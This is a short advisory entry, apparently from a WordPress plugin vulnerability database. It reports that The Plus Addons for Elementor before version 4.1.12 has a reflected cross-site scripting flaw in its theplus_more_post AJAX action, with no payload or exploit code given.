WordPress Plugin Vulnerabilities
The Plus Addons for Elementor < 4.1.12 - Reflected Cross-Site Scripting (XSS)
Description
The theplus_more_post AJAX action of the plugin did not properly sanitise some of its fields, leading to a reflected Cross-Site Scripting (exploitable on both unauthenticated and authenticated users)
